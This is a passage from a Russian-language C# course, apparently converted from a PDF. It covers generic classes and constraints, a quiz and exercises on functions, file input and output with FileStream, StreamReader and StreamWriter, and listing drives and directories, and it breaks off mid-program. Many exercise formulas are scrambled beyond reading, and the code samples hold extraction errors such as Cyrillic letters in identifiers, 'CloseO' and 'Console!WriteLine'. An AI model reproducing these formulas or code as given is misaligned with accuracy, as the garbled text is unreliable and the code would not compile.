Итак, если вам нужен массив небольшого размера, то его можно
реализовать в виде статического массива, а для удобства написать
вспомогательный класс, код которого таков:
public class TemplateTest<T> {
Т[] array = new T[10]; int index = 0;
public bool Add(T value) {
if (index >= 10) return false;
array[index++] = value; return true;
}
public T Get(int index) {
if (index < this.index && index >=0 )
return array[index]; else
return default(T);
}
public int Count() {
return index;
}
}
При объявлении класса, использующего шаблон, буква шаблона
указывается в треугольных скобках после имени класса. Теперь внутри
класса вы можете работать с буквой т как с типом данных — объявлять
переменные, получать параметры в методе и даже возвращать
значения типа т. Когда вы создадите конкретный объект класса
TempiateTest, то во время объявления должны будете указать, для
какого типа вы его создаете. Например, объявление TempiateTЈst<int>
testarray заставит систему создать массив testarray для хранения чисел,
и все методы, где использовалась буква т, будут работать с числами.
Получается, что при использовании шаблона класса вы как бы с
помощью замены вставляете везде вместо т указанный тип.
Вот так этот шаблон может быть использован для массива чисел:
TemplateTest<int> testarray = new TemplateTest<int>();
testarray.Add(10);
testarray.Add(1);
testarray.Add(3); testarray.Add(14);
for
(int
i
=
0;
i
<
testarray.Count();
i++)
Console.WriteLine(testarray.Get(i));
Для того чтобы создать точно такой же массив, но для хранения
строк, достаточно только изменить объявление:
TemplateTest<string> testarray = new TemplateTest<string>();
Нам не нужно писать новый класс, который будет реализовывать
те же функции для типа данных string, благодаря шаблону все уже
готово.
Шаблон
неопределенного
типа
получается
слишком
универсальным и позволяет принимать любые типы данных. Это
нужно далеко не всегда. Бывает необходимо ограничить типы данных,
на основе которых можно будет создавать шаблон. Это можно сделать
с помощью ключевого слова where:
public class TemplateTest<T> where T: XXXXX
Здесь xxxxx может принимать одно из следующих значений:
- class — шаблон может быть создан для классов. Причем класс
не должен быть объявлен как sealed, иначе его использование не имеет
смысла;
- struct — шаблон может быть создан на основе структур, т. е. в
нашем случае буква т может заменяться только на структуру;
- new
— параметр <т> должен быть классом, имеющим
конструктор по умолчанию;
- Имя_класса— шаблон может быть создан только для типов
данных, являющихся наследниками указанного класса;
- Имя_интерфейса — шаблон может быть создан только для
классов, реализующих указанный интерфейс.
Следующий пример объявляет шаблон для хранения классов,
являющихся наследниками Person:
public class TemplateTest<T> where T : Person
Вы не сможете создать теперь массив чисел на основе этого
шаблона, только массив людей. Такое ограничение очень удобно, если
вам действительно нужно хранить данные определенного класса. В
этом случае вы можете безболезненно приводить переменную т к
этому базовому классу, потому что мы точно знаем, что массив может
быть создан только для хранения наследников Person.
Контрольные вопросы:
1.
2.
3.
4.
5.
6.
Что такое функция?
Для чего нужна перегрузка функции?
Как описать функцию?
В какой части программного кода можно описать функцию
Способы объявления функции
Как осуществляется вызов функции?
ТЕСТЫ:
1. Функция – это………
А) самостоятельная единица программы, спроектированная для
реализации конкретной задачи
B) единица программы
C) самостоятельная часть программы, предназначенная для
реализации задач
D) часть программы, спроектированная для реализации многих
задач
2. Функция может………….?
А) принимать параметры и возвращать значение.
B) принимать переменные
C) принимать значение
D) принимать константы
3. Объявление функции (прототип, заголовок, сигнатура) задает
её……………..?
А) имя, тип возвращаемого значения и список передаваемых
параметров
B) Имя и тип возвращаемого значения
C) тип возвращаемого значения и список передаваемых параметров
D) имя передаваемых параметров
4. Формат функции А) [ класс ] тип имя ([ список_формальных_параметров ]);
B) [ класс ] тип имя ()
C) [ класс ] тип имя:
D) [ класс ] тип имя;
5. Определение функции кроме объявления содержит………?
А) тело функции
B) Аргумент функции
C) Значение функции
D) Результат функции
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
Функции, параметры функций
Определить три функции, выполняющие действия в
соответствии с вариантом задания, по одной на каждый способ
передачи параметров. Написать программу, осуществляющую вызов
этих функций несколько раз с различными параметрами.
1.
Вычислить с использованием подпрограммы – функции
Z=НОД(a,b)+НОК(a,b), где a, b – целые положительные числа, НОД –
наибольший общий делитель, НОК – наименьшее общее кратное.
Определить функцию нахождения расстояния между
точками. Во множестве точек на плоскости найти пару точек с
максимальным расстоянием между ними.
3.
Найти наибольшую из высот треугольника. Известны две
стороны треугольника и угол между ними.
4.
Найти: y=среднее(a,b,c)/min(a,b,c).
5.
Даны действительные числа s,t. Получить g(1.2,s) + g(t,s) 2.
g(2s-1,st), где g (a, b) 
a2  b2
 ( a  b) 
2 a b  a  b
ab
2
6.
Вычислить
сумму
значений
функций
2
2
2
Z  f (sin( x)  cos( y ), x  y,2)  f ( x  y, sin( x), cos( y ))  f (sin ( x), x  y , y  x )
где
 v  u  t , если u  1

f (u, v, t )  u  t  v, если 0  u  1
 v  t  u, если 0  u

7.
8.
.
Даны действительные числа s,t. Получить g(1.2,s) + g(t,s) g ( a , b) 
a 2  b2  4  a  b
a2  5  a  b  3 b2  4  a  b
g(2s-1,st), где
9.
Составить программу вычисления суммы квадратов
простых чисел, лежащих в интервале [M, N].
10.
Даны отрезки а, в, с и d. Для каждой тройки этих отрезков,
из которых можно построить треугольник, напечатать площадь
данного треугольника. (Определить функцию, вычисляющую
площадь треугольника, если она существует)
11.
Определить функцию нахождения расстояния между
точками. Во множестве точек на плоскости найти пару точек с
минимальным расстоянием между ними.
12.
Найти: y=min(a,b,c)/max(a,b,c).
13.
Вычислить
сумму
значений
функций
Z  f (sin( x)  cos( y ), x  y )  f (sin( x), cos( y ))  f (sin 2 ( x)  2, a  b 2 )
Где
 u  t , если u  1

f (u, t )  u  t , если 0  u  1
 t  u, если 0  u

Даны значения a и b, найти их среднее арифметическое,
среднегеометрическое.
15.
Найти: y=max(a,b,c)+min(a,b,c).
14.
Вычислить с использованием подпрограммы – функции
Z=НОК(a+b,a*b)+НОК(a, b), где a, b – целые положительные числа,
НОД – наибольший общий делитель, НОК – наименьшее общее
кратное.
17.
Вычислить среднее геометрическое шести вводимых чисел.
18.
Вычислить сумму значений функции Z=F(a,b)+F(a2,b2)+F(a2u 2  t 2 , если u  0, t  0

2
 u  t , если u  0, t  0
F (u, t )  
 u  t , если u  0, t  0
 u  t , если u  0, t  0
1,b)+F(a-b,b)
16.
19.
Даны действительные числа s, t. Получить f(t, -2s, 1.17) +
f (a, b, c) 
2  a  b  sin( c)  a  b
1 c  a
f(2.2,t,s-t), где
20.
Найти: y=max(a,b,c,d)*min(a,b,c,d).
21.
Вычислить
с
использованием
40
Z
процедуры
40
 sin( xi )   cos( yi )
i 1
i 1
40
 | xi |
. Каждую сумму вычислять с использованием
i 1
одной подпрограммы.
22.
Заданно множество точек на плоскости. Найти сумму длин
отрезков между ними.
23.
Вычислить
с
использованием
функции
Z=НОД(a,b)+НОД(a*b,a+b), где a, b – целые положительные числа,
НОД – наибольший общий делитель.
24.
Вычислить
сумму
значений
функции
Z  f ( | x | , y )  f (a, b)  f ( | x |  1, y )  f ((| x |  | y |), x),
где
u  2t , если u  0


f (u , t )  
u  t , если u  1
u 2  2t  1, если  1  u  0

25.
чисел.
Вычислить среднее арифметическое четырех вводимых
МОДУЛЬ 13.
ТЕМА ЛЕКЦИИ: ФАЙЛЫ И СЕРИАЛИЗАЦИЯ. ВВОД И ВЫВОД
ДАННЫХ
Практически каждой программе в какой-то момент приходится
тем или иным
образом взаимодействовать с файлами или
постоянными данными. База для этой ункциональности находится в
пространстве имен system.IO.
Вообще говоря, существуют два режима работы с файлами:
текстовый и двоичный. В текстовом режиме содержимое файла
преобразуется в объект system.string для упрощения манипуляций с
ними на платформе .NET. Двоичные файлы оправдывают свое
название. Они содержат "сырые", неотфильтрованные байты, с
которыми вы можете делать все, что угодно. Мы рассмотрим две
простых программы, работающие с файлами каждого из двух типов.
Большая часть ввода/вывода на платформе .NET основана на
понятии потоков данных. Это концептуальные буферы, допускающие
линейные операции чтения и записи данных. Некоторые потоки
данных (например, файлы) позволяют переходить к произвольному
месту внутри них. Другие (например, сетевые потоки) — не позволяют
этого делать.
Символьный ввод-вывод в файл.
Несмотря на то что файлы часто обрабатываются побайтово, для
этой цели можно воспользоваться также символьными потоками.
Преимущество символьных потоков заключается в том, что они
оперируют символами непосредственно в уникоде. Так, если
требуется сохранить текст в уникоде, то для этого лучше всего
подойдут именно символьные потоки. В целом, для выполнения
операций символьного ввода-вывода в файлы объект класса FileStream
заключается в оболочку класса StreamReader или StreamWriter. В этих
классах выполняется автоматическое преобразование байтового
потока в символьный и наоборот.
Не следует, однако, забывать, что на уровне операционной
системы файл представляет собой набор байтов. И применение
класса StreamReader или StreamWriter никак не может этого изменить.
Класс StreamWriter является производным от класса TextWriter, а
класс StreamReader — производным от класса TextReader.
Следовательно, в классах StreamReader и StreamWriter доступны
методы и свойства, определенные в их базовых классах.
Для создания символьного потока вывода достаточно заключить
объект
класса Stream, например FileStream, в оболочку класса
StreamWriter. В классе StreamWriter определено несколько
конструкторов. Ниже приведен едва ли не самый распространенный
среди них:
StreamWriter(Stream поток)
где поток обозначает имя открытого потока. Этот конструктор
генерирует исключение ArgumentException, если поток не открыт для
вывода, а также исключение ArgumentNullException, если поток
оказывается пустым. После создания объекта класс StreamWriter
выполняет автоматическое преобразование символов в байты. Ниже
приведен простой пример сервисной программы ввода с клавиатуры
и вывода на диск набранных текстовых строк, сохраняемых в файле
test. txt. Набираемый тест вводится до тех пор, пока в нем не
встретится строка "стоп". Для символьного вывода в файл в этой
программе используется объект класса FileStream, заключенный в
оболочку класса StreamWriter.
// Простая сервисная программа ввода с клавиатуры и вывода на
диск,
// демонстрирующая применение класса StreamWriter.
using System;
using System.IO;
class KtoD
{
static void Main()
{
string str;
FileStream fout;
// Открыть сначала поток файлового ввода-вывода,
try {
fout = new FileStream("test.txt", FileMode.Create);
}
catch(IOException exc)
{
Console.WriteLine("Ошибка открытия файла:\п" + exc.Message);
return ;
}
// Заключить поток файлового ввода-вывода в оболочку класса
StreamWriter.
StreamWriter fstr_out = new StreamWriter(fout);
try {
Console.WriteLine("Введите текст, а по окончании — 'стоп'.");
do {
Console.Write(": ");
str = Console.ReadLine();
if(str != "стоп")
{
str = str + "\r\n"; // добавить новую строку
fstr_out.Write(str);
}
} while(str != "стоп");
}
catch(IOException exc)
{
Console.WriteLine("Ошибка ввода-вывода:\n" + exc.Message);
}
finally {
fstr_out.Close();
}
}
}
Применение класса StreamReader.
Для создания символьного потока ввода достаточно заключить
байтовый поток в оболочку класса StreamReader. В классе
StreamReader определено несколько конструкторов. Ниже приведен
наиболее часто используемый конструктор: StreamReader(Stream
поток) где поток обозначает имя открытого потока. Этот конструктор
генерирует
исключение ArgumentNullException, если поток
оказывается пустым, а также исключение ArgumentException, если
поток не открыт для ввода. После своего создания объект класса
StreamReader выполняет автоматическое преобразование байтов в
символы. По завершении ввода из потока типа StreamReader его
нужно закрыть. При этом закрывается и базовый поток.
В приведенном ниже примере создается простая сервисная
программа ввода с диска и вывода на экран содержимого текстового
файла test. txt. Она служит дополнением к представленной ранее
сервисной программе ввода с клавиатуры и вывода на диск.
// Простая сервисная программа ввода с диска и вывода на экран,
// демонстрирующая применение класса StreamReader.
using System;
using System.IO;
class DtoS
{
static void Main()
{
FileStream fin;
string s;
try {
fin = new FileStream("test.txt", FileMode.Open);
}
catch(IOException exc)
{
Console.WriteLine("Ошибка открытия файла:\п" + exc.Message);
return;
}
StreamReader fstr_in = new StreamReader(fin);
try {
while((s = fstr_in.ReadLine()) != null)
{
Console.WriteLine(s);
}
}
catch(IOException exc)
{
Console.WriteLine("Ошибка ввода-вывода:\n" + exc.Message);
}
finally
{
fstr_in.Close();
}
}
}
Обратите внимание на то, как в этой программе определяется
конец файла.
Когда метод ReadLine () возвращает пустую ссылку, это означает,
что достигнут конец файла. Такой способ вполне работоспособен, но в
классе StreamReader
предоставляется еще одно средство для
обнаружения конца потока — EndOf Stream. Это доступное для
чтения свойство имеет логическое значение true, когда достигается
конец потока, в противном случае — логическое значение false.
Следовательно, свойство EndOf Stream можно использовать для
отслеживания конца файла. В качестве примера ниже представлен
другой способ организации цикла while для чтения из файла.
while(!fstr_in.EndOfStream) {
s = fstr_in.ReadLine();
Console.WriteLine(s);
}
В данном случае код немного упрощается благодаря свойству
EndOf Stream, хотя общий порядок выполнения операции ввода из
файла не меняется. Иногда такое применение свойства EndOf Stream
позволяет несколько упростить сложную ситуацию, внося ясность и
улучшая структуру кода. Иногда файл проще открыть, используя
непосредственно класс StreamReader, аналогично классу StreamWriter.
Для этой цели служит следующий конструктор:
StreamReader(string путь)
где путь — это имя открываемого файла, включая полный путь к
нему. Указываемый файл должен существовать. В противном случае
генерируется
исключение
FileNotFoundException.
Если
путь
оказывается
пустым,
то
генерируется
исключение
ArgumentNullException. А если путь содержит пустую строку, то
генерируется исключение ArgumentException. Кроме того, могут быть
сгенерированы
исключения
IOException
и
DirectoryNotFoundException.
ТЕМА СЕМИНАРА: КЛАСС FILESTREAM И БАЙТОВЫЙ ВВОДВЫВОД В ФАЙЛ.
В среде .NET Framework предусмотрены классы для организации
ввода-вывода в файлы. Безусловно, это в основном файлы дискового
типа. На уровне операционной системы файлы имеют байтовую
организацию. И, как следовало ожидать, для ввода и вывода байтов в
файлы имеются соответствующие методы. Поэтому ввод и вывод в
файлы байтовыми потоками весьма распространен. Кроме того,
байтовый поток ввода или вывода в файл может быть заключен в
соответствующий объект символьного потока. Операции символьного
ввода-вывода в файл находят применение при обработке текста. О
символьных потоках речь пойдет далее в этой главе, а здесь
рассматривается байтовый ввод-вывод.
Для создания байтового потока, привязанного к файлу, служит
класс FileStream.
Этот класс является производным от класса Stream и наследует
всего его функции. Напомним, что классы потоков, в том числе и
FileStream, определены в пространстве имен System.I0. Поэтому в
самом начале любой использующей их программы обычно вводится
следующая строка кода.
using System.IO;
Открытие и закрытие файла.
Для формирования байтового потока, привязанного к файлу,
создается объект класса FileStream. В этом классе определено
несколько конструкторов. Ниже
приведен едва ли не самый
распространенный среди них:
FileStream(string путь, FileMode режим)
где путь обозначает имя открываемого файла, включая полный
путь к нему; а режим — порядок открытия файла. В последнем случае
указывается одно из значений, определяемых в перечислении
FileMode Как правило, этот конструктор открывает файл для доступа с
целью чтения или записи.
Исключением из этого правила служит открытие файла в
режиме FileMode .Append, когда файл становится доступным только
для записи.
Перечислении FileMode:
FileMode .Append
Добавляет выводимые данные в
конец файла
FileMode. Create
Создает новый выходной файл.
Существующий файл с таким же
именем будет разрушен.
FileMode. CreateNew
Создает новый выходной файл. Файл
с таким же именем не должен
существовать
FileMode. Open
FileMode.OpenOrCreate
FileMode. Truncate
Открывает существующий файл
Открывает файл, если он существует.
В противном случае создает новый
файл
Открывает существующий файл,
но сокращает его длину до нуля.
Если попытка открыть файл оказывается неудачной, то
генерируется исключение. Если же файл нельзя открыть из-за того что
он не существует, генерируется исключение FileNotFoundException. А
если файл нельзя открыть из-за какой нибудь ошибки ввода-вывода,
то генерируется исключение IOException. К
числу других
исключений, которые могут быть сгенерированы при открытии
файла, относятся следующие: ArgumentNullException (указано пустое
имя файла), ArgumentException (указано неверное имя файла),
ArgumentOutOfRangeException
(указан
неверный
режим),
SeoufityException (у пользователя нет прав доступа к файлу),
PathTooLongException (слишком длинное имя файла или путь к нему),
NotSupportedException (в имени файла указано устройство, которое не
поддерживается), а также DirectoryNotFoundException (указан
неверный
каталог).
Исключения
PathTooLongException,
DirectoryNotFoundException и FileNotFoundException относятся к
подклассам класса исключений IOException. Поэтому все они могут
быть перехвачены, если перехватывается исключение IOException.
Ниже в качестве примера приведен один из способов открытия
файла test. dat для ввода.
FileStream fin;
try {
fin = new FileStream("test", FileMode.Open);
}
catch(IOException exc) { // перехватить все исключения, связанные
с вводом-выводом
Console.WriteLine(exc.Message);
// Обработать ошибку.
}
catch(Exception exc { // перехватить любое другое исключение.
Console.WriteLine(exc.Message);
// Обработать ошибку, если это возможно.
// Еще раз сгенерировать необрабатываемые исключения.
}
В первом блоке catch из данного примера обрабатываются
ошибки, возникающие в том случае, если файл не найден, путь к нему
слишком длинен, каталог не существует, а также другие ошибки
ввода-вывода.
Во втором
блоке
catch, который
является
"универсальным"
для
всех
остальных
типов
исключений,
обрабатываются другие вероятные ошибки (возможно, даже путем
повторного генерирования сключения). Кроме того, каждую ошибку
можно проверять отдельно, уведомляя более подробно о ней и
принимая конкретные меры по ее исправлению.
Как упоминалось выше, конструктор класса FileStream открывает
файл, оступный для чтения или записи. Если же требуется ограничить
доступ к файлу только для чтения или же только для записи, то в
таком
случае
следует
использовать
такой
конструктор.
FileStream(string путь, FileMode режим, FileAccess доступ)
Как и прежде, путь обозначает имя открываемого файла,
включая и полный путь к нему, а режим — порядок открытия файла.
В то же время доступ обозначает конкретный способ доступа к файлу.
В последнем случае указывается одно из значений, определяемых в
перечислении FileAccess и приведенных ниже.
FileAccess.Read . FileAccess.Write FileAccess.ReadWrite
Например, в следующем примере кода файл test. dat
открывается только для чтения.
FileStream fin = new FileStream("test.dat", FileMode.Open,
FileAccess.Read);
По завершении работы с файлом его следует закрыть, вызвав
метод Close (). Ниже приведена общая форма обращения к этому
методу. void Close()
При закрытии файла высвобождаются системные ресурсы,
распределенные для этого файла, что дает возможность использовать
их для другого файла. Любопытно, что метод Close () вызывает, в свою
очередь, метод Dispose (), который, собственно, и высвобождает
системные ресурсы.
Чтение байтов из потока файлового ввода-вывода.
В классе File St ream определены два метода для чтения байтов из
файла: ReadByte () и Read (). Так, для чтения одного байта из файла
используется метод ReadByte (), общая форма которого приведена
ниже. int ReadByte().
Всякий раз, когда этот метод вызывается, из файла считывается
один байт, который затем возвращается в виде целого значения. К
числу вероятных исключений, которые генерируются при этом,
относятся NotSupportedException (поток не открыт для ввода) и
ObjectDisposedException (поток закрыт). Для чтения блока байтов из
файла служит метод Read (), общая форма которого выглядит так. int
Read(byte[ ] array, int offset, int count) В методе Read ()
предпринимается попытка считать количество count байтов в массив
array, начиная с элемента array[offset]. Он возвращает количество
байтов, успешно считанных из файла. Если же возникает ошибка
ввода-вывода, то генерируется исключение IOException. К числу
других вероятных исключений, которые генерируются при этом,
относится NotSupportedException. Это исключение генерируется в том
случае, если чтение из файла не поддерживается в потоке.
В приведенном ниже примере программы метод ReadByte ()
используется для ввода и отображения содержимого текстового
файла, имя которого указывается в качестве аргумента командной
строки. Обратите внимание на то, что в этой программе проверяется,
указано ли имя файла, прежде чем пытаться открыть его.
/*
Отобразить
содержимое
текстового
файла.
Чтобы
воспользоваться этой программой, укажите имя того файла,
содержимое которого требуется отобразить. Например, для
просмотра содержимого файла TEST.CS введите в командной строке
следующее: ShowFile TEST.CS
*/
using System;
using System.IO;
class ShowFile
{
static void Main(string[] args)
{
int i;
FileStream fin;
if(args.Length != 1)
{
Console.WriteLine("Применение: ShowFile Файл");
return;
}
try {
fin = new FileStream(args[0], FileMode.Open);
}
catch(IOException exc)
{
Console!WriteLine("He удается открыть файл");
Console.WriteLine(exc.Message);
return; // Файл не открывается, завершить программу
}
// Читать байты до конца файла,
try {
do {
i = fin.ReadByte();
if(i != -1) Console.Write((char) i);
} while(i != -1);
}
catch(IOException exc)
{
Console.WriteLine("Ошибка чтения файла");
Console.WriteLine(exc.Message) ;
}
finally
{
fin.Close() ;
}
}
}
Обратите внимание на то, что в приведенной выше программе
применяются два блока try. В первом из них перехватываются
исключения, возникающие при вводе- выводе и способные
воспрепятствовать открытию файла. Если произойдет ошибка вводавывода, выполнение программы завершится. В противном случае во
втором блоке try будет продолжен контроль исключений,
возникающих в операциях ввода- вывода. Следовательно, второй блок
try выполняется только в том случае, если в
переменной fin
содержится ссылка на открытый файл. Обратите также внимание на
то, что файл закрывается в блоке finally, связанном со вторым блоком
try. Это означает, что независимо от того, как завершится цикл dowhile (нормально или аварийно из-за ошибки), файл все равно будет
закрыт. И хотя в данном конкретном примере это и так важно,
поскольку программа все равно завершится в данной точке,
преимущество такого подхода, вообще говоря, заключается в том, что
файл закрывается в завершающем блоке finally в любом случае —
даже если выполнение кода доступа к этому файлу завершается
преждевременно из-за какого-нибудь исключения.
В некоторых случаях оказывается проще заключить те части
программы, где осуществляется открытие и доступ к файлу, внутрь
блока try, вместо того чтобы разделять обе эти операции. В качестве
примера ниже приведен другой, более краткий вариант написания
представленной выше программы ShowFile.
// Отобразить содержимое текстового файла.
using System;
using System.IO;
class ShowFile
{
static void Main(string[] args)
{
int i;
FileStream fin = null;
if (args.Length != 1)'
{
Console.WriteLine("Применение: ShowFile File");
return;
}
// Использовать один блок try для открытия файла и чтения из
него
try {
fin = new FileStream(args[0], FileMode.Open);
// Читать байты до конца файла,
do {
i = fin.ReadByte();
if(i != -1) Console.Write((char) i);
} while(i != -1);
}
catch(IOException exc)
{
Console.WriteLine("Ошибка ввода-вывода:\n" + exc.Message) ;
}
finally
{
if(fin != null) fin.Close ();
}
}
}
Обратите внимание на то, что в данном варианте программы
переменная fin ссылки на объект класса FileStream инициализируется
пустым значением. Если файл удастся открыть в конструкторе класса
FileStream, то значение переменной fin окажется непустым, а иначе —
оно так и останется пустым. Это очень важно, поскольку метод Close ()
вызывается внутри блока finally только в том случае, если значение
переменной fin оказывается непустым. Подобный механизм
препятствует любой попытке вызвать метод Close () для переменной
fin, когда она не ссылается на открытый файл. Благодаря своей
компактности такой подход часто применяется во многих примерах
организации ввода-вывода, приведенных далее в этой книге.
Следует, однако, иметь в виду, что он не пригоден в тех случаях,
когда ситуацию, возникающую в связи с невозможностью открыть
файл, нужно обрабатывать отдельно. Так, если пользователь
неправильно введет имя файла, то на экран, возможно, придется
вывести приглашение правильно ввести имя файла, прежде чем
входить в блок try, где осуществляется проверка правильности доступа
к файлу. В целом, порядок открытия, доступа и закрытия файла
зависит от конкретного приложения. То, что хорошо в одном случае,
может оказаться неприемлемым в другом. Поэтому данный процесс
приходится приспосабливать к конкретным
потребностям
разрабатываемой программы.
Запись в файл.
Для записи байта в файл служит метод WriteByte (). Ниже
приведена его простейшая форма.
void WriteByte(byte value)
Этот метод выполняет запись в файл байта, обозначаемого
параметром value. Если базовый поток не открывается для вывода, то
генерируется исключение NotSupportedException. А если поток
закрыт, то генерируется исключение ObjectDisposedException. Для
записи в файл целого массива байтов может быть вызван метод Write
О • Ниже приведена его общая форма.
void Write(byte[] array, int offset, int count)
В методе Write () предпринимается попытка записать в файл
количество count байтов из массива array, начиная с элемента array [
offset]. Он возвращает количеcтво байтов, успешно записанных в файл.
Если во время записи возникает ошибка, то генерируется исключение
IOException. А если базовый поток не открывается для вывода, то
генерируется исключение NotSupportedException. Кроме того, может
быть сгенерирован ряд других исключений.
Вам, вероятно, известно, что при выводе в файл выводимые
данные зачастую
записываются на конкретном физическом
устройстве не сразу. Вместо этого они буферизуются на уровне
операционной системы до тех пор, пока не накопится остаточный
объем данных, чтобы записать их сразу одним блоком. Благодаря
этому повышается эффективность системы. Так, на диске файлы
организованы по секторам величиной от 128 байтов и более. Поэтому
выводимые данные обычно буферизуются до тех пор, пока не
появится возможность записать на диск сразу весь сектор. .
Но если данные требуется записать на физическое устройство без
предварительного накопления в буфере, то для этой цели можно
вызвать метод Flush.
void Flush()
При неудачном исходе данной операции генерируется
исключение IOException. Если же поток закрыт, то генерируется
исключение ObjectDisposedException. По завершении вывода в файл
следует закрыть его с помощью метода Close (). Этим гарантируется,
что любые выведенные данные, оставшиеся в дисковом буфере, будут
записаны на диск. В этом случае отпадает необходимость вызывать
метод Flush () перед закрытием файла.
Ниже приведен простой пример программы, в котором
демонстрируется порядок записи данных в файл.
// Записать данные в файл.
using System;
using System.IO;
class WriteToFile
{
static void Main(string[] args)
{
FileStream fout = null;
try {
// Открыть выходной файл.
fout = new FileStream("test.txt", FileMode.CreateNew);
// Записать весь английский алфавит в файл.
for(char с = 'А'; с <= 'Z'; C++)
fout.WriteByte((byte) с);
}
catch(IOException exc)
{
Console.WriteLine("Ошибка ввода-вывода: \n" + exc.Message) ;
}
finally
{
if(fout != null) fout.CloseO ;
}
}
}
В данной программе сначала создается выходной файл под
названием test. txt с помощью перечисляемого значения FileMode .
CreateNew. Это означает, что файл с таким же именем не должен уже
существовать. (В противном случае генерируется исключение
IOException.) После открытия выходного файла в него записываются
прописные буквы английского алфавита. По завершении данной
программы содержимое файла test. txt оказывается следующим.
ABCDEFGHIJKLMNOPQRSTUVWXYZ
Использование класса Filestream для копирования файла
Преимущество байтового ввода-вывода средствами класса FileStream
заключается, в частности, в том, что его можно применить к файлам
практически любого типа, а не только к текстовым файлам. В качестве
примера ниже приведена программа, позволяющая копировать файл
любого типа, в том числе исполняемый. Имена
исходного и
выходного файлов указываются в командной строке.
/* Копировать файл.
Чтобы воспользоваться этой программой, укажите имена
исходного и выходного файлов. Например, для копирования файла
FIRST.DAT в файл SECOND.DAT введите в командной строке
следующее:
CopyFile FIRST.DAT SECOND.DAT
*/
using System;
using System.IO;
class CopyFile
{
static void Main(string[] args)
{
int i;
FileStream fin = null;
FileStream fout = null;
if(args.Length != 2)
{
Console.WriteLine("Применение: CopyFile Откуда Куда");
return;
}
try {
// Открыть файлы.
fin = new FileStream(args[0] , FileMode.Open);
fout = new FileStream(args[1], FileMode.Create);
// Скопировать файл,
do {
i = fin.ReadByte();
if(i != -1) fout.WriteByte((byte)i);
} while (i != -1);
}
catch(IOException exc)
{
Console.WriteLine("Ошибка ввода-вывода:\n" + exc.Message);
}
finally {
if (fin != null) fin.CloseO;
if(fout != null) fout.Close ();
}
}
}
ТЕМА ЛАБ: АНАЛИЗ ПРОГРАММЫ
Вычислить значение переменной y в функции у=𝑥 2 ;
Значение переменной х ввести с файла input.txt
Вывести значение переменной у в файл out.txt
//… Символьный ввод и вывод
using System.IO;
namespace primer1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
double x;
StreamReader str = new StreamReader("input.txt");
x = Convert.ToDouble(str.ReadLine().Trim());
str.Close();
double y = Math.Pow(x,2);
StreamWriter stw = new StreamWriter("out.txt");
stw.WriteLine(y.ToString());
stw.Close();
}
}
}
// … байтовый ввод и вывод
using System.IO;
namespace primer2
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
double x;
string chislo_x = "";
int ch=0;
FileStream fs = new FileStream("input.txt", FileMode.Open);
while (ch != -1)
{
ch = fs.ReadByte();
chislo_x += (char)ch;
}
x = Convert.ToDouble(chislo_x.Substring(0, chislo_x.Length - 1));
fs.Close();
double y = Math.Pow(x, 2);
char[] chr = y.ToString().ToCharArray();
FileStream fs1 = new FileStream("out.txt", FileMode.CreateNew);
for (int i = 0; i < chr.Length; i++)
{
fs1.WriteByte((byte)chr[i]);
}
fs1.Close();
}
}
}
ТЕМА СРСП – 1: ПОЛУЧЕНИЕ СПИСКА ДИСКОВ, КАТАЛОГОВ И
ФАЙЛОВ
Для получения списка всех подключенных накопителей
используется класс Driveinfо.
DriveInfo[] drives = Driveinfо.GetDrives();
foreach (Driveinfо info in drives)
{
Console.WriteLine("Name: {0} (RootDirectory: {1}",
info.Name, info.RootDirectory);
Console.WriteLine("DriveType: {0}", info.DriveType);
Console.WriteLine("IsReady: {0}", info.IsReady);
// При попытке чтения с диска, который не готов,
// будет возбуждено исключение
if (info.IsReady)
{
Console.WriteLine("VolumeLabel: {0}",
info.VolumeLabel);
Console.WriteLine("DriveFormat: {0}",
info.DriveFormat);
Console.WriteLine("TotalSize: {0:N0}",
info.TotalSize);
Console.WriteLine("TotalFreeSpace: {0:N0}",
info.TotalFreeSpace);
Console.WriteLine("AvailableFreeSpace: {0:N0}",
info.AvailableFreeSpace);
}
Console.WriteLine();
}
На моем компьютере этот код выдает следующую информацию
(отредактировано так, что остались только уникальные диски).
Name: A:\ (RootDirectory: A:\)
DriveType: Removable
IsReady: False
Name: C:\ (RootDirectory: C:\)
DriveType: Fixed
IsReady: True
VolumeLabel:
DriveFormat: NTFS
TotalSize: 160,045,199,360
TotalFreeSpace: 81,141,878,784
AvailableFreeSpace: 81,141,87 8,7 84
Name: F:\ (RootDirectory: F:\)
Name: H:\ (RootDirectory: H:\)
DriveType: Removable
IsReady: False
Класс Directoryinfo может возвратить список своих
подкаталогов и файлов
string root = @"С:\";
// Старый способ: получить все строки заранее
Directoryinfo di = new Directoryinfo(root);
Directoryinfo[] directories = di.GetDirectories("*",
SearchOption.AllDirectories) ;
// Способ, появившийся в .Net 4: воспользоваться
перечислением
di = new Directoryinfo(root);
//
Чтобы
получить
список
файлов,
используйте
di.EnumerateFiles
// с аргументами того же типа
IEnumerable<DirectoryInfo> dirlnfо = di.EnumerateDirectories("*",
SearchOption.AllDirectories) ;
foreach (Directoryinfo info in dirlnfo)
{
Console.WriteLine(info.Name);
}
ТЕМА СРСП – 2: ПОИСК ФАЙЛА ИЛИ КАТАЛОГА
Задача. Вы хотите найти файл или каталог по имени, возможно,
с использованием символов подстановки.
Решение. Объект Directoryinfo имеет много полезных функций,
среди которых и поиск в файловой системе по образцу. Образец
может содержать символы подстановки, как в командной строке.
В это программе представлен простой пример, в котором
выполняется поиск по дереву каталогов. Ищется файл или каталог,
соответствующий введенному образцу.
using System;
using System.Collections.Generic;
using System.IO;
namespace Find
{
class Program
{
static bool _folderOnly = false;
static string _startFolder;
static string _searchTerm;
static void Main(string[] args)
{
if (!ParseArgs(args))
{
PrintUsage();
return;
}
Console.WriteLine("Searching {0} for \"{1}\" {2}",
_startFolder, _searchTerm,
_folderOnly ? "(folders only)" : "");
DoSearch() ;
}
private static void DoSearch()
{
Directorylnfo di = new DirectoryInfо(_startFolder);
Directorylnfо[] directories =
di.GetDirectories(_searchTerm,
SearchOption.AllDirectories);
int numResults = directories.Length;
PrintSearchResults(directories);
if (!_folderOnly)
{
FileInfo[] files = di.GetFiles( searchTerm,
SearchOption.AllDirectories);
PrintSearchResults(files) ;
numResults += files.Length;
}
Console.WriteLine("{0:N0} results found",
numResults);
}
private static void PrintSearchResults( Directorylnfo[]
directories)
{
foreach(Directorylnfo di in directories)
{
